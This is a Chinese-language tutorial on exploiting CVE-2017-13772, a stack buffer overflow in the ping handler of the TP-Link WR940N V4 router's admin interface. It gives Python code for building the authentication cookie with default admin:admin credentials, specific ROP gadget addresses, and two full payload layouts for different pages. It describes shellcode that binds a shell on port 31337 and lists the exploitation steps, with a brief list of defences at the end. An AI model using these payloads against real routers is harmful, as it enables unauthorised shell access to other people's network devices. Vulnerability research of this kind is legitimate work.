一步一步PWN路由器之wr940栈溢出漏洞分析与利用
字数 847 2025-08-22 12:22:24
TP-Link WR940N 路由器栈溢出漏洞分析与利用教学文档
漏洞概述
- 漏洞编号: CVE-2017-13772
- 影响设备: TP-Link WR940N V4 路由器
- 漏洞类型: 栈溢出漏洞
- 漏洞位置: 管理员Ping功能中的IP地址处理
- 利用条件: 需要管理员凭证认证
漏洞分析
漏洞定位
- 通过搜索字符串"ping_addr"定位到关键函数
sub_453C50 - IP地址字符串指针存储在$s6寄存器中
- 传入
ipAddrDispose函数进行处理
漏洞成因
- 函数首先使用
memset初始化缓冲区 - 然后使用
strcpy将IP地址复制到栈上 - 未对输入长度进行验证,导致栈溢出
漏洞利用
利用准备
- 固件下载: TL-WR940N(US)_V4_160617固件
- 调试环境: 可通过SSH连接到路由器的调试服务
认证绕过
- 使用默认凭证admin:admin或已知凭证
- 认证过程生成base64编码的cookie:
hash = hashlib.md5() hash.update(pwd) auth_string = "%s:%s" %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string)
两种利用方式
第一种利用方式 (PingIframeRpm.htm)
-
构造ROP链覆盖返回地址
-
关键ROP gadget:
nop = "\x22\x51\x44\x44" gadg_1 = "\x2A\xB3\x7C\x60" # 设置$a0 = 1, 并跳转到$s1 gadg_2 = "\x2A\xB1\x78\x40" sleep_addr = "\x2a\xb3\x50\x90" stack_gadg = "\x2A\xAF\x84\xC0" call_code = "\x2A\xB2\xDC\xF0" -
构造payload:
rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr + "C"*4 rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode
第二种利用方式 (WanStaticIpV6CfgRpm.htm)
- 覆盖更多寄存器:
payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4 payload += stack_gadg + "A"*4 + nop*10 + shellcode + "B"*7
Shellcode分析
- 使用简单的XOR编码器绕过字符限制
- 绑定端口31337 (可修改为其他端口)
- 包含sleep系统调用刷新缓存
- 坏字符: 0x20, 0x00
完整利用步骤
-
登录路由器获取认证cookie:
(next_url, encoded_string) = login("192.168.0.1", "admin", "admin") -
发送利用请求:
first_exploit(next_url, encoded_string) # 或 second_exploit(next_url, encoded_string) -
等待几秒后连接绑定的shell
-
完成后重置HTTP服务:
http -r
防御措施
- 升级到最新固件版本
- 修改默认管理员密码
- 禁用不必要的管理功能
- 实施输入验证和长度检查
参考链接
注意事项
- 此漏洞利用需要认证凭证
- 利用成功后会在目标路由器上打开绑定shell
- 测试时建议在隔离环境中进行
- 实际利用前应充分测试payload的稳定性